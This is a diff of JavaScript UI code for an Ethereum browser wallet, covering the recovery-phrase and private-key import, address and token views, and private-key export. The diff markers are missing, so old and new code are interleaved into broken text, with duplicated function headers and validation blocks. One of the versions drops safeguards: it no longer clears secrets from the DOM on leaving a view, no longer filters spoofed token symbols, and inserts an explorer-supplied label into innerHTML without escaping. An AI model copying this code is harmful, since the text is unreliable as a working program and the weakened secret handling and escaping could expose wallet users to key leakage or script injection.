tab.classList.toggle("border-b-transparent", !isActive);
|
||||
tab.classList.toggle("hover:bg-fg", !isActive);
|
||||
tab.classList.toggle("hover:text-bg", !isActive);
|
||||
}
|
||||
$("add-wallet-password-hint").textContent = PASSWORD_HINTS[mode];
|
||||
}
|
||||
|
||||
// Wipe the secret material this screen holds in the DOM: a generated or
|
||||
// pasted recovery phrase, an imported private key or extended private key,
|
||||
// and the password that would encrypt them. Registered as the view-leave
|
||||
// handler as well as run on entry, so none of it survives in the hidden
|
||||
// view after the user navigates away by any route, including the Settings
|
||||
// gear and the import itself.
|
||||
function clear() {
|
||||
function show() {
|
||||
$("wallet-mnemonic").value = "";
|
||||
$("import-private-key").value = "";
|
||||
$("import-xprv-key").value = "";
|
||||
$("add-wallet-password").value = "";
|
||||
$("add-wallet-password-confirm").value = "";
|
||||
$("add-wallet-phrase-warning").style.visibility = "hidden";
|
||||
}
|
||||
|
||||
function show() {
|
||||
clear();
|
||||
switchMode("mnemonic");
|
||||
$("add-wallet-phrase-warning").classList.add("hidden");
|
||||
hideError("add-wallet-error");
|
||||
showView("add-wallet");
|
||||
}
|
||||
|
||||
function validatePassword() {
|
||||
const pw = $("add-wallet-password").value;
|
||||
const pw2 = $("add-wallet-password-confirm").value;
|
||||
if (!pw) {
|
||||
showFlash("Please choose a password.");
|
||||
return null;
|
||||
}
|
||||
if (pw.length < 12) {
|
||||
showFlash("Password must be at least 12 characters.");
|
||||
return null;
|
||||
}
|
||||
if (pw !== pw2) {
|
||||
showFlash("Passwords do not match.");
|
||||
return null;
|
||||
}
|
||||
return pw;
|
||||
}
|
||||
function init(ctx) {
|
||||
$("btn-generate-phrase").addEventListener("click", () => {
|
||||
$("wallet-mnemonic").value = generateMnemonic();
|
||||
$("add-wallet-phrase-warning").classList.remove("hidden");
|
||||
});
|
||||
|
||||
async function importMnemonic(ctx) {
|
||||
$("btn-add-wallet-confirm").addEventListener("click", async () => {
|
||||
const mnemonic = $("wallet-mnemonic").value.trim();
|
||||
if (!mnemonic) {
|
||||
showFlash("Enter a recovery phrase or press the die to generate one.");
|
||||
showError(
|
||||
"add-wallet-error",
|
||||
"Enter a recovery phrase or press the die to generate one.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
const words = mnemonic.split(/\s+/);
|
||||
if (words.length !== 12 && words.length !== 24) {
|
||||
showFlash(
|
||||
showError(
|
||||
"add-wallet-error",
|
||||
"Recovery phrase must be 12 or 24 words. You entered " +
|
||||
words.length +
|
||||
".",
|
||||
@@ -140,22 +43,44 @@ async function importMnemonic(ctx) {
|
||||
return;
|
||||
}
|
||||
if (!isValidMnemonic(mnemonic)) {
|
||||
showFlash("Invalid recovery phrase. Check for typos.");
|
||||
return;
|
||||
}
|
||||
const pw = validatePassword();
|
||||
if (!pw) return;
|
||||
const { xpub, firstAddress } = hdWalletFromMnemonic(mnemonic);
|
||||
const xpubDup = findWalletByXpub(xpub);
|
||||
if (xpubDup) {
|
||||
showFlash(
|
||||
"This recovery phrase is already added (" + xpubDup.name + ").",
|
||||
showError(
|
||||
"add-wallet-error",
|
||||
"Invalid recovery phrase. Check for typos.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
const addrDup = findWalletByAddress(firstAddress);
|
||||
if (addrDup) {
|
||||
showFlash("Address already exists in wallet (" + addrDup.name + ").");
|
||||
const pw = $("add-wallet-password").value;
|
||||
const pw2 = $("add-wallet-password-confirm").value;
|
||||
if (!pw) {
|
||||
showError("add-wallet-error", "Please choose a password.");
|
||||
return;
|
||||
}
|
||||
if (pw.length < 12) {
|
||||
showError(
|
||||
"add-wallet-error",
|
||||
"Password must be at least 12 characters.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
if (pw !== pw2) {
|
||||
showError("add-wallet-error", "Passwords do not match.");
|
||||
return;
|
||||
}
|
||||
const { xpub, firstAddress } = hdWalletFromMnemonic(mnemonic);
|
||||
const duplicate = state.wallets.find(
|
||||
(w) =>
|
||||
w.type === "hd" &&
|
||||
w.addresses[0] &&
|
||||
w.addresses[0].address.toLowerCase() ===
|
||||
firstAddress.toLowerCase(),
|
||||
);
|
||||
if (duplicate) {
|
||||
showError(
|
||||
"add-wallet-error",
|
||||
"This recovery phrase is already added (" +
|
||||
duplicate.name +
|
||||
").",
|
||||
);
|
||||
return;
|
||||
}
|
||||
const encrypted = await encryptWithPassword(mnemonic, pw);
|
||||
@@ -173,13 +98,13 @@ async function importMnemonic(ctx) {
|
||||
state.wallets.push(wallet);
|
||||
state.hasWallet = true;
|
||||
await saveState();
|
||||
clearViewStack();
|
||||
ctx.renderWalletList();
|
||||
hideError("add-wallet-error");
|
||||
showView("main");
|
||||
|
||||
// Scan for used HD addresses beyond index 0.
|
||||
showFlash("Scanning for addresses...", 30000);
|
||||
const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
|
||||
const scan = await scanForAddresses(xpub, state.rpcUrl);
|
||||
if (scan.addresses.length > 1) {
|
||||
wallet.addresses = scan.addresses.map((a) => ({
|
||||
address: a.address,
|
||||
@@ -195,156 +120,21 @@ async function importMnemonic(ctx) {
|
||||
}
|
||||
|
||||
ctx.doRefreshAndRender();
|
||||
}
|
||||
|
||||
async function importPrivateKey(ctx) {
|
||||
const key = $("import-private-key").value.trim();
|
||||
if (!key) {
|
||||
showFlash("Please enter your private key.");
|
||||
return;
|
||||
}
|
||||
let addr;
|
||||
try {
|
||||
addr = addressFromPrivateKey(key);
|
||||
} catch {
|
||||
showFlash("Invalid private key.");
|
||||
return;
|
||||
}
|
||||
const pw = validatePassword();
|
||||
if (!pw) return;
|
||||
const duplicate = findWalletByAddress(addr);
|
||||
if (duplicate) {
|
||||
showFlash(
|
||||
"This address already exists in wallet (" + duplicate.name + ").",
|
||||
);
|
||||
return;
|
||||
}
|
||||
const encrypted = await encryptWithPassword(key, pw);
|
||||
const walletNum = state.wallets.length + 1;
|
||||
state.wallets.push({
|
||||
type: "key",
|
||||
name: "Wallet " + walletNum,
|
||||
encryptedSecret: encrypted,
|
||||
addresses: [{ address: addr, balance: "0.0000", tokenBalances: [] }],
|
||||
});
|
||||
state.hasWallet = true;
|
||||
await saveState();
|
||||
clearViewStack();
|
||||
ctx.renderWalletList();
|
||||
showView("main");
|
||||
|
||||
ctx.doRefreshAndRender();
|
||||
}
|
||||
|
||||
async function importXprvKey(ctx) {
|
||||
const xprv = $("import-xprv-key").value.trim();
|
||||
if (!xprv) {
|
||||
showFlash("Please enter your extended private key.");
|
||||
return;
|
||||
}
|
||||
if (!isValidXprv(xprv)) {
|
||||
showFlash(
|
||||
"That extended private key is not valid. Please check it and try again.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
if (!isMasterExtendedKey(xprv)) {
|
||||
showFlash(
|
||||
"That is an account-level or child key, which cannot be imported. " +
|
||||
"Please paste the master extended private key for the wallet.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
let result;
|
||||
try {
|
||||
result = hdWalletFromXprv(xprv);
|
||||
} catch {
|
||||
showFlash(
|
||||
"That extended private key is not valid. Please check it and try again.",
|
||||
);
|
||||
return;
|
||||
}
|
||||
const { xpub, firstAddress } = result;
|
||||
const xpubDup = findWalletByXpub(xpub);
|
||||
if (xpubDup) {
|
||||
showFlash("This key is already added (" + xpubDup.name + ").");
|
||||
return;
|
||||
}
|
||||
const addrDup = findWalletByAddress(firstAddress);
|
||||
if (addrDup) {
|
||||
showFlash("Address already exists in wallet (" + addrDup.name + ").");
|
||||
return;
|
||||
}
|
||||
const pw = validatePassword();
|
||||
if (!pw) return;
|
||||
const encrypted = await encryptWithPassword(xprv, pw);
|
||||
const walletNum = state.wallets.length + 1;
|
||||
const wallet = {
|
||||
type: "xprv",
|
||||
name: "Wallet " + walletNum,
|
||||
xpub: xpub,
|
||||
encryptedSecret: encrypted,
|
||||
nextIndex: 1,
|
||||
addresses: [
|
||||
{ address: firstAddress, balance: "0.0000", tokenBalances: [] },
|
||||
],
|
||||
};
|
||||
state.wallets.push(wallet);
|
||||
state.hasWallet = true;
|
||||
await saveState();
|
||||
clearViewStack();
|
||||
ctx.renderWalletList();
|
||||
showView("main");
|
||||
|
||||
// Scan for used HD addresses beyond index 0.
|
||||
showFlash("Scanning for addresses...", 30000);
|
||||
const scan = await scanForAddresses(xpub, state.rpcUrl, state.networkId);
|
||||
if (scan.addresses.length > 1) {
|
||||
wallet.addresses = scan.addresses.map((a) => ({
|
||||
address: a.address,
|
||||
balance: "0.0000",
|
||||
tokenBalances: [],
|
||||
}));
|
||||
wallet.nextIndex = scan.nextIndex;
|
||||
await saveState();
|
||||
ctx.renderWalletList();
|
||||
showFlash("Found " + scan.addresses.length + " addresses.");
|
||||
} else {
|
||||
showFlash("Ready.", 1000);
|
||||
}
|
||||
|
||||
ctx.doRefreshAndRender();
|
||||
}
|
||||
|
||||
function init(ctx) {
|
||||
onViewLeave("add-wallet", clear);
|
||||
|
||||
// Tab click handlers
|
||||
$("tab-mnemonic").addEventListener("click", () => switchMode("mnemonic"));
|
||||
$("tab-privkey").addEventListener("click", () => switchMode("privkey"));
|
||||
$("tab-xprv").addEventListener("click", () => switchMode("xprv"));
|
||||
|
||||
// Generate mnemonic
|
||||
$("btn-generate-phrase").addEventListener("click", () => {
|
||||
$("wallet-mnemonic").value = generateMnemonic();
|
||||
$("add-wallet-phrase-warning").style.visibility = "visible";
|
||||
});
|
||||
|
||||
// Import / confirm
|
||||
$("btn-add-wallet-confirm").addEventListener("click", async () => {
|
||||
if (currentMode === "mnemonic") {
|
||||
await importMnemonic(ctx);
|
||||
} else if (currentMode === "privkey") {
|
||||
await importPrivateKey(ctx);
|
||||
} else if (currentMode === "xprv") {
|
||||
await importXprvKey(ctx);
|
||||
}
|
||||
});
|
||||
|
||||
// Back button
|
||||
$("btn-add-wallet-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
if (!state.hasWallet) {
|
||||
showView("welcome");
|
||||
} else {
|
||||
ctx.renderWalletList();
|
||||
showView("main");
|
||||
}
|
||||
});
|
||||
|
||||
$("btn-add-wallet-import-key").addEventListener(
|
||||
"click",
|
||||
ctx.showImportKeyView,
|
||||
);
|
||||
}
|
||||
|
||||
module.exports = { init, show };
|
||||
|
||||
@@ -2,19 +2,16 @@ const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
showError,
|
||||
hideError,
|
||||
balanceLinesForAddress,
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
truncateMiddle,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
pushCurrentView,
|
||||
} = require("./helpers");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { formatAddressTotal, getAddressValue } = require("../../shared/prices");
|
||||
const { state, currentAddress, saveState } = require("../../shared/state");
|
||||
const { formatUsd, getAddressValueUsd } = require("../../shared/prices");
|
||||
const {
|
||||
fetchRecentTransactions,
|
||||
filterTransactions,
|
||||
@@ -27,24 +24,27 @@ const {
|
||||
} = require("./send");
|
||||
const { log } = require("../../shared/log");
|
||||
const makeBlockie = require("ethereum-blockies-base64");
|
||||
const exportPrivkey = require("./exportPrivkey");
|
||||
const { walletDefect } = require("../../shared/walletDefects");
|
||||
|
||||
// The defect of the wallet the selected address belongs to, or null. Both the
|
||||
// send and the private-key export path check it before asking for a password,
|
||||
// so a wallet that cannot derive its keys says so instead of failing after the
|
||||
// user has typed one in.
|
||||
function selectedWalletDefect() {
|
||||
if (state.selectedWallet === null) return null;
|
||||
return walletDefect(state.wallets[state.selectedWallet]);
|
||||
}
|
||||
const { decryptWithPassword } = require("../../shared/vault");
|
||||
const { getSignerForAddress } = require("../../shared/wallet");
|
||||
|
||||
let ctx;
|
||||
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
function etherscanAddressLink(address) {
|
||||
return `https://etherscan.io/address/${address}`;
|
||||
}
|
||||
|
||||
function show() {
|
||||
state.selectedToken = null;
|
||||
const wallet = state.wallets[state.selectedWallet];
|
||||
const addr = wallet.addresses[state.selectedAddress];
|
||||
const wi = state.selectedWallet;
|
||||
const ai = state.selectedAddress;
|
||||
$("address-title").textContent =
|
||||
wallet.name + " \u2014 Address " + (ai + 1);
|
||||
@@ -57,18 +57,22 @@ function show() {
|
||||
img.style.imageRendering = "pixelated";
|
||||
img.style.borderRadius = "50%";
|
||||
blockieEl.appendChild(img);
|
||||
const addrTitle = addressTitle(addr.address, state.wallets);
|
||||
$("address-line").innerHTML = renderAddressHtml(addr.address, {
|
||||
title: addrTitle,
|
||||
ensName: addr.ensName,
|
||||
});
|
||||
$("address-line").dataset.full = addr.address;
|
||||
attachCopyHandlers($("address-line"));
|
||||
const usdTotal = formatAddressTotal(getAddressValue(addr));
|
||||
$("address-dot").innerHTML = addressDotHtml(addr.address);
|
||||
$("address-full").dataset.full = addr.address;
|
||||
$("address-full").textContent = addr.address;
|
||||
const addrLink = etherscanAddressLink(addr.address);
|
||||
$("address-etherscan-link").innerHTML =
|
||||
`<a href="${addrLink}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
|
||||
const usdTotal = formatUsd(getAddressValueUsd(addr));
|
||||
$("address-usd-total").innerHTML = usdTotal || " ";
|
||||
const ensEl = $("address-ens");
|
||||
// ENS is now shown inside renderAddressHtml, hide the separate element
|
||||
if (addr.ensName) {
|
||||
ensEl.innerHTML =
|
||||
addressDotHtml(addr.address) + escapeHtml(addr.ensName);
|
||||
ensEl.classList.remove("hidden");
|
||||
} else {
|
||||
ensEl.classList.add("hidden");
|
||||
}
|
||||
$("address-balances").innerHTML = balanceLinesForAddress(
|
||||
addr,
|
||||
state.trackedTokens,
|
||||
@@ -92,39 +96,18 @@ function show() {
|
||||
function isoDate(timestamp) {
|
||||
const d = new Date(timestamp * 1000);
|
||||
const pad = (n) => String(n).padStart(2, "0");
|
||||
if (state.utcTimestamps) {
|
||||
return (
|
||||
d.getUTCFullYear() +
|
||||
"-" +
|
||||
pad(d.getUTCMonth() + 1) +
|
||||
"-" +
|
||||
pad(d.getUTCDate()) +
|
||||
"T" +
|
||||
pad(d.getUTCHours()) +
|
||||
":" +
|
||||
pad(d.getUTCMinutes()) +
|
||||
":" +
|
||||
pad(d.getUTCSeconds()) +
|
||||
"Z"
|
||||
);
|
||||
}
|
||||
const offsetMin = -d.getTimezoneOffset();
|
||||
const sign = offsetMin >= 0 ? "+" : "-";
|
||||
const absOff = Math.abs(offsetMin);
|
||||
const tzStr = sign + pad(Math.floor(absOff / 60)) + ":" + pad(absOff % 60);
|
||||
return (
|
||||
d.getFullYear() +
|
||||
"-" +
|
||||
pad(d.getMonth() + 1) +
|
||||
"-" +
|
||||
pad(d.getDate()) +
|
||||
"T" +
|
||||
" " +
|
||||
pad(d.getHours()) +
|
||||
":" +
|
||||
pad(d.getMinutes()) +
|
||||
":" +
|
||||
pad(d.getSeconds()) +
|
||||
tzStr
|
||||
pad(d.getSeconds())
|
||||
);
|
||||
}
|
||||
|
||||
@@ -156,7 +139,6 @@ async function loadTransactions(address) {
|
||||
state.blockscoutUrl,
|
||||
);
|
||||
const result = filterTransactions(rawTxs, {
|
||||
hideSpoofedSymbols: state.hideSpoofedSymbols,
|
||||
hideLowHolderTokens: state.hideLowHolderTokens,
|
||||
hideFraudContracts: state.hideFraudContracts,
|
||||
hideDustTransactions: state.hideDustTransactions,
|
||||
@@ -188,7 +170,6 @@ async function loadTransactions(address) {
|
||||
ensNameMap = await resolveEnsNames(
|
||||
counterparties,
|
||||
state.rpcUrl,
|
||||
state.networkId,
|
||||
);
|
||||
} catch {
|
||||
ensNameMap = new Map();
|
||||
@@ -223,12 +204,10 @@ function renderTransactions(txs) {
|
||||
: tx.from;
|
||||
const ensName = ensNameMap.get(counterparty) || null;
|
||||
const title = addressTitle(counterparty, state.wallets);
|
||||
// The explorer's method name for a contract call, title-cased.
|
||||
const dirLabel = escapeHtml(tx.directionLabel);
|
||||
const sym = displaySymbol(tx.symbol);
|
||||
const dirLabel = tx.directionLabel;
|
||||
const amountStr = tx.value
|
||||
? escapeHtml(tx.value + " " + sym)
|
||||
: escapeHtml(sym);
|
||||
? escapeHtml(tx.value + " " + tx.symbol)
|
||||
: escapeHtml(tx.symbol);
|
||||
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
|
||||
const displayAddr =
|
||||
title || ensName || truncateMiddle(counterparty, maxAddr);
|
||||
@@ -249,6 +228,7 @@ function renderTransactions(txs) {
|
||||
row.addEventListener("click", () => {
|
||||
const idx = parseInt(row.dataset.tx, 10);
|
||||
const tx = loadedTxs[idx];
|
||||
const counterparty = tx.direction === "sent" ? tx.to : tx.from;
|
||||
tx.fromEns = ensNameMap.get(tx.from) || null;
|
||||
tx.toEns = ensNameMap.get(tx.to) || null;
|
||||
ctx.showTransactionDetail(tx);
|
||||
@@ -258,17 +238,20 @@ function renderTransactions(txs) {
|
||||
|
||||
function init(_ctx) {
|
||||
ctx = _ctx;
|
||||
$("address-full").addEventListener("click", () => {
|
||||
const addr = $("address-full").dataset.full;
|
||||
if (addr) {
|
||||
navigator.clipboard.writeText(addr);
|
||||
showFlash("Copied!");
|
||||
}
|
||||
});
|
||||
|
||||
$("btn-address-back").addEventListener("click", () => {
|
||||
goBack();
|
||||
ctx.renderWalletList();
|
||||
showView("main");
|
||||
});
|
||||
|
||||
$("btn-send").addEventListener("click", () => {
|
||||
const defect = selectedWalletDefect();
|
||||
if (defect) {
|
||||
showFlash(defect.shortMessage);
|
||||
return;
|
||||
}
|
||||
const addr =
|
||||
state.wallets[state.selectedWallet].addresses[
|
||||
state.selectedAddress
|
||||
@@ -283,7 +266,6 @@ function init(_ctx) {
|
||||
$("send-token-static").classList.add("hidden");
|
||||
updateSendBalance();
|
||||
resetSendValidation();
|
||||
pushCurrentView();
|
||||
showView("send");
|
||||
});
|
||||
|
||||
@@ -313,20 +295,78 @@ function init(_ctx) {
|
||||
$("btn-export-privkey").addEventListener("click", () => {
|
||||
moreDropdown.classList.add("hidden");
|
||||
moreBtn.classList.remove("bg-fg", "text-bg");
|
||||
// There is no private key to export for an address this wallet
|
||||
// cannot derive. Without this the export screen would take a
|
||||
// password and then report it as wrong.
|
||||
const defect = selectedWalletDefect();
|
||||
if (defect) {
|
||||
showFlash(defect.shortMessage);
|
||||
return;
|
||||
}
|
||||
// No pushCurrentView() here: exportPrivkey.show() can return
|
||||
// without navigating, so it does its own push.
|
||||
exportPrivkey.show(state.selectedWallet, state.selectedAddress);
|
||||
const wallet = state.wallets[state.selectedWallet];
|
||||
const addr = wallet.addresses[state.selectedAddress];
|
||||
const blockieEl = $("export-privkey-jazzicon");
|
||||
blockieEl.innerHTML = "";
|
||||
const bImg = document.createElement("img");
|
||||
bImg.src = makeBlockie(addr.address);
|
||||
bImg.width = 48;
|
||||
bImg.height = 48;
|
||||
bImg.style.imageRendering = "pixelated";
|
||||
bImg.style.borderRadius = "50%";
|
||||
blockieEl.appendChild(bImg);
|
||||
$("export-privkey-title").textContent =
|
||||
wallet.name + " \u2014 Address " + (state.selectedAddress + 1);
|
||||
$("export-privkey-dot").innerHTML = addressDotHtml(addr.address);
|
||||
$("export-privkey-address").textContent = addr.address;
|
||||
$("export-privkey-address").dataset.full = addr.address;
|
||||
$("export-privkey-password").value = "";
|
||||
hideError("export-privkey-error");
|
||||
$("export-privkey-password-section").classList.remove("hidden");
|
||||
$("export-privkey-result").classList.add("hidden");
|
||||
$("export-privkey-value").textContent = "";
|
||||
showView("export-privkey");
|
||||
});
|
||||
|
||||
exportPrivkey.init();
|
||||
$("btn-export-privkey-confirm").addEventListener("click", async () => {
|
||||
const password = $("export-privkey-password").value;
|
||||
if (!password) {
|
||||
showError("export-privkey-error", "Password is required.");
|
||||
return;
|
||||
}
|
||||
const wallet = state.wallets[state.selectedWallet];
|
||||
try {
|
||||
const secret = await decryptWithPassword(
|
||||
wallet.encryptedSecret,
|
||||
password,
|
||||
);
|
||||
const signer = getSignerForAddress(
|
||||
wallet,
|
||||
state.selectedAddress,
|
||||
secret,
|
||||
);
|
||||
const privateKey = signer.privateKey;
|
||||
$("export-privkey-password-section").classList.add("hidden");
|
||||
$("export-privkey-value").textContent = privateKey;
|
||||
$("export-privkey-result").classList.remove("hidden");
|
||||
hideError("export-privkey-error");
|
||||
} catch {
|
||||
showError("export-privkey-error", "Wrong password.");
|
||||
}
|
||||
});
|
||||
|
||||
$("export-privkey-value").addEventListener("click", () => {
|
||||
const key = $("export-privkey-value").textContent;
|
||||
if (key) {
|
||||
navigator.clipboard.writeText(key);
|
||||
showFlash("Copied!");
|
||||
}
|
||||
});
|
||||
|
||||
$("export-privkey-address").addEventListener("click", () => {
|
||||
const full = $("export-privkey-address").dataset.full;
|
||||
if (full) {
|
||||
navigator.clipboard.writeText(full);
|
||||
showFlash("Copied!");
|
||||
}
|
||||
});
|
||||
|
||||
$("btn-export-privkey-back").addEventListener("click", () => {
|
||||
$("export-privkey-value").textContent = "";
|
||||
$("export-privkey-password").value = "";
|
||||
show();
|
||||
});
|
||||
}
|
||||
|
||||
module.exports = { init, show };
|
||||
|
||||
@@ -5,22 +5,19 @@ const {
|
||||
$,
|
||||
showView,
|
||||
showFlash,
|
||||
flashCopyFeedback,
|
||||
addressDotHtml,
|
||||
addressTitle,
|
||||
escapeHtml,
|
||||
displaySymbol,
|
||||
truncateMiddle,
|
||||
balanceLine,
|
||||
unknownableAmount,
|
||||
renderAddressHtml,
|
||||
attachCopyHandlers,
|
||||
goBack,
|
||||
pushCurrentView,
|
||||
} = require("./helpers");
|
||||
const { state, saveState } = require("../../shared/state");
|
||||
const { state, currentAddress, saveState } = require("../../shared/state");
|
||||
const { TOKEN_BY_ADDRESS, resolveSymbol } = require("../../shared/tokenList");
|
||||
const { formatUsd, getPrice } = require("../../shared/prices");
|
||||
const {
|
||||
formatUsd,
|
||||
getPrice,
|
||||
getAddressValueUsd,
|
||||
} = require("../../shared/prices");
|
||||
const {
|
||||
fetchRecentTransactions,
|
||||
filterTransactions,
|
||||
@@ -33,46 +30,35 @@ const {
|
||||
} = require("./send");
|
||||
const { log } = require("../../shared/log");
|
||||
const makeBlockie = require("ethereum-blockies-base64");
|
||||
const { walletDefect } = require("../../shared/walletDefects");
|
||||
|
||||
let ctx;
|
||||
|
||||
const EXT_ICON =
|
||||
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
|
||||
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
|
||||
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
|
||||
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
|
||||
`</svg></span>`;
|
||||
|
||||
function etherscanAddressLink(address) {
|
||||
return `https://etherscan.io/address/${address}`;
|
||||
}
|
||||
|
||||
function isoDate(timestamp) {
|
||||
const d = new Date(timestamp * 1000);
|
||||
const pad = (n) => String(n).padStart(2, "0");
|
||||
if (state.utcTimestamps) {
|
||||
return (
|
||||
d.getUTCFullYear() +
|
||||
"-" +
|
||||
pad(d.getUTCMonth() + 1) +
|
||||
"-" +
|
||||
pad(d.getUTCDate()) +
|
||||
"T" +
|
||||
pad(d.getUTCHours()) +
|
||||
":" +
|
||||
pad(d.getUTCMinutes()) +
|
||||
":" +
|
||||
pad(d.getUTCSeconds()) +
|
||||
"Z"
|
||||
);
|
||||
}
|
||||
const offsetMin = -d.getTimezoneOffset();
|
||||
const sign = offsetMin >= 0 ? "+" : "-";
|
||||
const absOff = Math.abs(offsetMin);
|
||||
const tzStr = sign + pad(Math.floor(absOff / 60)) + ":" + pad(absOff % 60);
|
||||
return (
|
||||
d.getFullYear() +
|
||||
"-" +
|
||||
pad(d.getMonth() + 1) +
|
||||
"-" +
|
||||
pad(d.getDate()) +
|
||||
"T" +
|
||||
" " +
|
||||
pad(d.getHours()) +
|
||||
":" +
|
||||
pad(d.getMinutes()) +
|
||||
":" +
|
||||
pad(d.getSeconds()) +
|
||||
tzStr
|
||||
pad(d.getSeconds())
|
||||
);
|
||||
}
|
||||
|
||||
@@ -119,20 +105,14 @@ function show() {
|
||||
addr.tokenBalances,
|
||||
state.trackedTokens,
|
||||
);
|
||||
// null when the scale is unknown: no quantity to show, and none to
|
||||
// price. balanceLine() states that rather than printing 0.0000.
|
||||
amount = tb ? unknownableAmount(tb.balance) : 0;
|
||||
amount = tb ? parseFloat(tb.balance || "0") : 0;
|
||||
price = getPrice(symbol);
|
||||
}
|
||||
|
||||
currentSymbol = symbol;
|
||||
|
||||
$("address-token-title").textContent =
|
||||
wallet.name +
|
||||
" \u2014 Address " +
|
||||
(ai + 1) +
|
||||
" \u2014 " +
|
||||
displaySymbol(symbol);
|
||||
wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
|
||||
|
||||
// Blockie
|
||||
const blockieEl = $("address-token-jazzicon");
|
||||
@@ -146,16 +126,15 @@ function show() {
|
||||
blockieEl.appendChild(img);
|
||||
|
||||
// Address line
|
||||
const addrTitle = addressTitle(addr.address, state.wallets);
|
||||
$("address-token-line").innerHTML = renderAddressHtml(addr.address, {
|
||||
title: addrTitle,
|
||||
ensName: addr.ensName,
|
||||
});
|
||||
$("address-token-line").dataset.full = addr.address;
|
||||
attachCopyHandlers($("address-token-line"));
|
||||
$("address-token-dot").innerHTML = addressDotHtml(addr.address);
|
||||
$("address-token-full").dataset.full = addr.address;
|
||||
$("address-token-full").textContent = addr.address;
|
||||
const addrLink = etherscanAddressLink(addr.address);
|
||||
$("address-token-etherscan-link").innerHTML =
|
||||
`<a href="${addrLink}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
|
||||
|
||||
// USD total for this token only
|
||||
const usdVal = price && amount !== null ? amount * price : null;
|
||||
const usdVal = price ? amount * price : 0;
|
||||
const usdStr = formatUsd(usdVal);
|
||||
$("address-token-usd-total").innerHTML = usdStr || " ";
|
||||
|
||||
@@ -182,9 +161,7 @@ function show() {
|
||||
(knownToken && knownToken.symbol) ||
|
||||
null;
|
||||
const tokenName = rawName ? escapeHtml(rawName) : null;
|
||||
const tokenSymbol = rawSymbol
|
||||
? escapeHtml(displaySymbol(rawSymbol))
|
||||
: null;
|
||||
const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
|
||||
const tokenDecimals =
|
||||
tb && tb.decimals != null
|
||||
? tb.decimals
|
||||
@@ -194,9 +171,15 @@ function show() {
|
||||
? knownToken.decimals
|
||||
: null;
|
||||
const tokenHolders = tb && tb.holders != null ? tb.holders : null;
|
||||
const dot = addressDotHtml(tokenId);
|
||||
const tokenLink = `https://etherscan.io/token/${escapeHtml(tokenId)}`;
|
||||
const projectUrl = knownToken && knownToken.url ? knownToken.url : null;
|
||||
let infoHtml = `<div class="font-bold mb-2">Contract Address</div>`;
|
||||
infoHtml += `<div class="mb-2">${renderAddressHtml(tokenId)}</div>`;
|
||||
infoHtml +=
|
||||
`<div class="flex items-center mb-2">${dot}` +
|
||||
`<span class="break-all underline decoration-dashed cursor-pointer" id="address-token-contract-copy" data-copy="${escapeHtml(tokenId)}">${escapeHtml(tokenId)}</span>` +
|
||||
`<a href="${tokenLink}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>` +
|
||||
`</div>`;
|
||||
if (tokenName)
|
||||
infoHtml += `<div class="mb-1"><span class="text-muted">Name:</span> ${tokenName}</div>`;
|
||||
if (tokenSymbol)
|
||||
@@ -208,7 +191,6 @@ function show() {
|
||||
if (projectUrl)
|
||||
infoHtml += `<div class="mb-1"><span class="text-muted">Website:</span> <a href="${escapeHtml(projectUrl)}" target="_blank" rel="noopener" class="underline decoration-dashed">${escapeHtml(projectUrl)}</a></div>`;
|
||||
contractInfo.innerHTML = infoHtml;
|
||||
attachCopyHandlers(contractInfo);
|
||||
contractInfo.classList.remove("hidden");
|
||||
} else {
|
||||
contractInfo.innerHTML = "";
|
||||
@@ -229,7 +211,6 @@ async function loadTransactions(address, tokenId) {
|
||||
state.blockscoutUrl,
|
||||
);
|
||||
const result = filterTransactions(rawTxs, {
|
||||
hideSpoofedSymbols: state.hideSpoofedSymbols,
|
||||
hideLowHolderTokens: state.hideLowHolderTokens,
|
||||
hideFraudContracts: state.hideFraudContracts,
|
||||
hideDustTransactions: state.hideDustTransactions,
|
||||
@@ -271,7 +252,6 @@ async function loadTransactions(address, tokenId) {
|
||||
ensNameMap = await resolveEnsNames(
|
||||
counterparties,
|
||||
state.rpcUrl,
|
||||
state.networkId,
|
||||
);
|
||||
} catch {
|
||||
ensNameMap = new Map();
|
||||
@@ -299,12 +279,10 @@ function renderTransactions(txs) {
|
||||
const counterparty = tx.direction === "sent" ? tx.to : tx.from;
|
||||
const ensName = ensNameMap.get(counterparty) || null;
|
||||
const title = addressTitle(counterparty, state.wallets);
|
||||
// The explorer's method name for a contract call, title-cased.
|
||||
const dirLabel = escapeHtml(tx.directionLabel);
|
||||
const sym = displaySymbol(tx.symbol);
|
||||
const dirLabel = tx.directionLabel;
|
||||
const amountStr = tx.value
|
||||
? escapeHtml(tx.value + " " + sym)
|
||||
: escapeHtml(sym);
|
||||
? escapeHtml(tx.value + " " + tx.symbol)
